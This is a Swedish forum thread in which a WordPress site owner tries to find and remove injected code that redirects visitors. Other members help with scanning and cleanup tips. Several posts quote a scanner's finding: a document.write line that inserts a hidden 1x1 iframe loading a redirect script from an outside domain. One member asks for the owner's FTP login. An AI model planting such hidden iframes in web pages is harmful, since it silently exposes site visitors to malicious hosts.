SJUKT konstigt länkning till min webbsida!

Permalänk

SJUKT konstigt länkning till min webbsida!

Det är så här att av någon konstig anledning så har man lyckats länka sin webbsida till en annan så att när en viss person besöker min sida, skickas denne automatiskt till en annan sida (Bluehost.com eller ngt sånt) efter bara 3 sekunder om inte mindre!

Här min sida - *bort*

Någon som har varit med om ngt liknande - eller vet hur man ska bli av med länken?

Visa signatur

ASUS Crosshair IV Formula | Phenom II X4 965 BE @ 3.9 GHz | Corsair 2X8GB 1866MHz | Radeon HD 5870 |
XFX PRO 750W | Antec Cooler H2O 620 | Define R4 |

Permalänk
Medlem

OP prova att skanna din sida med http://sitecheck.sucuri.net om du fortfarande tror att den är ren efter det, ptja....

Visa signatur

//Dixon

Permalänk
Skrivet av Dixon:

OP prova att skanna din sida med http://sitecheck.sucuri.net om du fortfarande tror att den är ren efter det, ptja....

TACK! du lyckades hitta länken som gömde sig i min sida! om man skannar så syns det tydligt!

Visa signatur

ASUS Crosshair IV Formula | Phenom II X4 965 BE @ 3.9 GHz | Corsair 2X8GB 1866MHz | Radeon HD 5870 |
XFX PRO 750W | Antec Cooler H2O 620 | Define R4 |

Permalänk
Medlem

Körde scannen som länkades ovan med följande resultat:

Known javascript malware. Details: http://sucuri.****/malware/malware-entry-mwiframehd421 document.write('<iframe src="http://smuss.****/redirect.php" width="1" height="1" frameborder="0" scrolling="no" marginwidth="0" marginheight="0"></iframe>'); } Hidden Iframes. Details: http://sucuri.***/malware/entry/MW:IFRAME:HD202 <iframe src="http://smuss.***/redirect.php" width="1" height="1" frameborder="0" scrolling="no" marginwidth="0" marginheight="0">

Permalänk
Skrivet av Massy:

Körde scannen som länkades ovan med följande resultat:

Known javascript malware. Details: http://sucuri.****/malware/malware-entry-mwiframehd421 document.write('<iframe src="http://smuss.****/redirect.php" width="1" height="1" frameborder="0" scrolling="no" marginwidth="0" marginheight="0"></iframe>'); } Hidden Iframes. Details: http://sucuri.***/malware/entry/MW:IFRAME:HD202 <iframe src="http://smuss.***/redirect.php" width="1" height="1" frameborder="0" scrolling="no" marginwidth="0" marginheight="0">

Exakt! och det var precis det jag försökte förklara, se rubriken!

det står klart och tydligt "http://smuss.***/redirect.php" i din resultat!

Nu till lösningen - Kan någon säga mig hur jag kan bli av med denna länk/fil som länkar till den skadliga sidan?

Visa signatur

ASUS Crosshair IV Formula | Phenom II X4 965 BE @ 3.9 GHz | Corsair 2X8GB 1866MHz | Radeon HD 5870 |
XFX PRO 750W | Antec Cooler H2O 620 | Define R4 |

Permalänk
Skrivet av ferdi2050:

Known javascript malware.
Details: http://sucuri.****/malware/malware-entry-mwiframehd421
document.write('<iframe src="http://smuss.****/redirect.php" width="1" height="1" frameborder="0" scrolling="no" marginwidth="0" marginheight="0"></iframe>'); }

Hidden Iframes.
Details: http://sucuri.***/malware/entry/MW:IFRAME:HD202
<iframe src="http://smuss.***/redirect.php" width="1" height="1" frameborder="0" scrolling="no" marginwidth="0" marginheight="0">

Du har ju problemet här. Vad hindrar dig från att gå in i koden och bara ta bort?

Visa signatur

CPU: i7 930@3,2GHz | MOBO: Rampage III Extreme | RAM: Corsair 6GB Dominator GT 1866MHz CL7 | GPU: ASUS GTX 570 Direct CUII SLI | PSU: Be Quiet Dark Power Pro 1200W

Permalänk
Skrivet av qwertyasdabc:

Du har ju problemet här. Vad hindrar dig från att gå in i koden och bara ta bort?

ju jag vet men var är den vilken fil ska ja kolla på?

Visa signatur

ASUS Crosshair IV Formula | Phenom II X4 965 BE @ 3.9 GHz | Corsair 2X8GB 1866MHz | Radeon HD 5870 |
XFX PRO 750W | Antec Cooler H2O 620 | Define R4 |

Permalänk
Medlem
Skrivet av ferdi2050:

ju jag vet men var är den vilken fil ska ja kolla på?

ge mig ftp kontot så fixar jag bort den där redirect

Permalänk
Skrivet av ferdi2050:

ju jag vet men var är den vilken fil ska ja kolla på?

index.php eller liknande, kolla igenom allt annars

Visa signatur

CPU: i7 930@3,2GHz | MOBO: Rampage III Extreme | RAM: Corsair 6GB Dominator GT 1866MHz CL7 | GPU: ASUS GTX 570 Direct CUII SLI | PSU: Be Quiet Dark Power Pro 1200W

Permalänk
Skrivet av hellhell:

ge mig ftp kontot så fixar jag bort den där redirect

eller så är du snäll och talar om det för mig hur jag ska göra för o bli av med den

Visa signatur

ASUS Crosshair IV Formula | Phenom II X4 965 BE @ 3.9 GHz | Corsair 2X8GB 1866MHz | Radeon HD 5870 |
XFX PRO 750W | Antec Cooler H2O 620 | Define R4 |

Permalänk
Skrivet av qwertyasdabc:

index.php eller liknande, kolla igenom allt annars

på index så finns det bara de här:

<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/

/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');

Visa signatur

ASUS Crosshair IV Formula | Phenom II X4 965 BE @ 3.9 GHz | Corsair 2X8GB 1866MHz | Radeon HD 5870 |
XFX PRO 750W | Antec Cooler H2O 620 | Define R4 |

Permalänk

Ni som tänker hjälpa, tackar jag er från hela mitt hjärta!
Ni andra som vill ha roligt - vg!

Visa signatur

ASUS Crosshair IV Formula | Phenom II X4 965 BE @ 3.9 GHz | Corsair 2X8GB 1866MHz | Radeon HD 5870 |
XFX PRO 750W | Antec Cooler H2O 620 | Define R4 |

Permalänk

Det är flera andra som lider av samma problem :

http://wordpress.org/support/topic/how-to-remove-10

Visa signatur

ASUS Crosshair IV Formula | Phenom II X4 965 BE @ 3.9 GHz | Corsair 2X8GB 1866MHz | Radeon HD 5870 |
XFX PRO 750W | Antec Cooler H2O 620 | Define R4 |

Permalänk
Medlem

Om du nu på riktigt inte försöker lura någn så bör du ta en titt i din wp-contents/themes/TEMANAMN/header.php

Ta bort javascriptet.

Permalänk
Medlem
Skrivet av ferdi2050:

TACK! du lyckades hitta länken som gömde sig i min sida! om man skannar så syns det tydligt!

Om du nu vill köra pirat tema, plugins eller whatever kolla php koden noga, specielt i functions.php filer, config filer och .htacsess

Visa signatur

Acer Predator Helios 300

Permalänk
Skrivet av Massy:

Om du nu på riktigt inte försöker lura någn så bör du ta en titt i din wp-contents/themes/TEMANAMN/header.php

Ta bort javascriptet.

länken finns inte i header.php

Visa signatur

ASUS Crosshair IV Formula | Phenom II X4 965 BE @ 3.9 GHz | Corsair 2X8GB 1866MHz | Radeon HD 5870 |
XFX PRO 750W | Antec Cooler H2O 620 | Define R4 |

Permalänk

Förstår inte varför alla är så aggro här. Grabben har installerat en WP-template på sin blogg som innehöll skadlig kod, hjälp till att få bort den istället.

Till TS: Nu är jag dålig på Wordpress men enklast är nog att antingen ladda ner samtliga filer och söka efter den skadliga koden så du hittar vilken fil det ligger i, eller helt enkelt avinstallera templaten.

Permalänk
Medlem

Kan du inte återställa backup från webbhotellet?
Vet en som hade samma problem då fukade det men nästan allt innehåll var borta.
Gick dock att få tag i en del via Google cached pages.

Permalänk
Medlem

I värsta fall kan du ju tanka ner hela din site till datorn och sen använda nått sökverktyg att leta efter länken i filerna, men problemet du har gjort från början är att du tankat piratat nått, tex temat.

Ska inte klaga direkt att du föröker tjäna en slant på nätet, men din sida är lite väl överdriven, bättre med färre "produkter" utspritt på flera bloggar, eller att man gör det på ett sätt så det inte ser ut som du egentligen försöker sälja nått, eller kanske specialisera sig, tex sidan handlar om ett enhetligt ämne tex nån specifik hobby.

Du behöver helt enkelt mer riktigt innehåll på sidan, så faktisk nån läser den, tvivlar på att du har nån inkomst från din sida nu.

Visa signatur

Acer Predator Helios 300

Permalänk
Medlem

Är det skadlig kod eller liknande som gör det olämpligt att länka. Gör den istället obrukbar med ett mellanslag i mitten och varna.
Jag körde whois på din domän, får din mejl och namn. Jag ser även att dem är registrerad hos citynetwork. Jag hade därför kontaktat dem om din hemsida har blivit infekterad.
http://whois.domaintools.com/ everythingaboutinternetmarketing.org

Permalänk

Äntligen folk som inte lever i missförståndsvärlden och verkligen hjälper en, Tack så sjukt mycket till Massy, infinity08, Kranis och sist men inte minst ggustavsson! Tack!

Det får bli så att jag tankar ner hela sidan o sen får jag väl söka igenom varenda textfil för att hitta skiten.
Tack för att ni var så sjysta och hjälpte för att lösa problemet tummen upp för er, till skillnad från vissa andra som lär aldrig växa upp ... so sad!

Visa signatur

ASUS Crosshair IV Formula | Phenom II X4 965 BE @ 3.9 GHz | Corsair 2X8GB 1866MHz | Radeon HD 5870 |
XFX PRO 750W | Antec Cooler H2O 620 | Define R4 |

Permalänk
Avstängd

Tråden är nu rensad på trams, offtopic och personlig information.

Ta och skärp er lite om det är så att han faktiskt behöver hjälp. Jag har tagit bort länken så det problemet är löst.

*tråd rensad*

Visa signatur

R7 3700X | X570 Aorus Master | 32GB | EVGA 1080 Ti FTW3 | Noctua NH-D15S | FD Meshify C Copper
R7 1700 | X370 Gaming-ITX | 16GB | RX Vega 64 LE | Noctua U12S | Node 304
2 x HPE ProLiant Microserver Gen 8 | 1265L V2 | 16GB | 20TB

Permalänk
Medlem

Här kanske du hittar nått vettigt att söka med

Edit: Komer inte ihåg om win 7 search kan hitta text inne i filer

Visa signatur

Acer Predator Helios 300

Permalänk
Skrivet av ggustavsson:

Här kanske du hittar nått vettigt att söka med http://www.nonags.com/nonags/filesearch.html

min antivirus säger att det är skadlig kod och blockerar den ...

Visa signatur

ASUS Crosshair IV Formula | Phenom II X4 965 BE @ 3.9 GHz | Corsair 2X8GB 1866MHz | Radeon HD 5870 |
XFX PRO 750W | Antec Cooler H2O 620 | Define R4 |

Permalänk

Trotts att jag tagit bort templaten så kommer det fortfarande upp samma template när man skriver in adressen ...

Visa signatur

ASUS Crosshair IV Formula | Phenom II X4 965 BE @ 3.9 GHz | Corsair 2X8GB 1866MHz | Radeon HD 5870 |
XFX PRO 750W | Antec Cooler H2O 620 | Define R4 |

Permalänk
Medlem
Skrivet av ferdi2050:

min antivirus säger att det är skadlig kod och blockerar den ...

Hm ok, sitter med surfplattan nu som är imun mot sånt, och inte varnar heller.
Men tog bort länken

Men hursomhelst verktyg att söka efter text finns det gott om

Visa signatur

Acer Predator Helios 300

Permalänk
Medlem
Skrivet av ferdi2050:

Tycker du att jag ska kontakta de? vad kan de göra tror du? första gången jag får ett sådant problem :/

Jag öppnade fliken och glömde bort den. Glömde uppdateras innan jag svarade men ser att du själv installerade ett wp-tema. Jag är helt borta när et gäller wordpress tyvärr och jag tror inte de hjälper om du är grund till problemet

Permalänk
Skrivet av jocke92:

Jag öppnade fliken och glömde bort den. Glömde uppdateras innan jag svarade men ser att du själv installerade ett wp-tema. Jag är helt borta när et gäller wordpress tyvärr och jag tror inte de hjälper om du är grund till problemet

Nu är Maintenance mode aktiverad så att ingen annan kommer till skada från den (sk skadliga koden) jag får väl under tiden hitta den skurken!
Tack för all hjälp!

Visa signatur

ASUS Crosshair IV Formula | Phenom II X4 965 BE @ 3.9 GHz | Corsair 2X8GB 1866MHz | Radeon HD 5870 |
XFX PRO 750W | Antec Cooler H2O 620 | Define R4 |